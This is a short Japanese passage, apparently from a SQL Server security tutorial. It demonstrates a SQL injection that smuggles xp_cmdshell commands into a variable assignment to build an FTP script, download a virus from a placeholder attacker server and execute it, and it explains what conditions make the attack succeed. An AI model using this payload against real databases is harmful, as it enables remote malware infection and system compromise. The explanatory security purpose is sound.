select @dbname = 'master'
上記の代入命令を、次のように、書き換えて実行してください
select @dbname = 'UnKnownDB'' exec xp_cmdshell ''echo FTPログインユーザ名>ftpcmd.txt''
exec xp_cmdshell ''echo FTPパスワード>>ftpcmd.txt''
exec xp_cmdshell ''echo cd FTPサーバーのディレクトリ>>ftpcmd.txt''
exec xp_cmdshell ''echo get ウィルスファイル名>>ftpcmd.txt''
exec xp_cmdshell ''ftp -s:ftpcmd.txt ウィルスを格納したサーバーIPアドレス''
exec xp_cmdshell ''c:\windows\system32\ウィルスファイル名''
declare @dum varchar(10) select @dum=''1'
(上記はすべて1行で記述しています)
上記のSQL インジェクション攻撃は、文字列が長過ぎて、幸いにも失敗します。
declare @dbname varchar(1000)のように、大きく宣言していると成功します。
ウィルスを格納したFTPサーバーからウィルスをダウンロードして、そのウィルスを実行するのは、特別難しいことではありません。 FTPコマンドは、標準のWindowsシステムに組み込まれています。
【注意】 この攻撃を成功させるためには、データベースサービスの実行アカウントを「ローカルシステム」や「Administrator」で実行していることが条件になります
|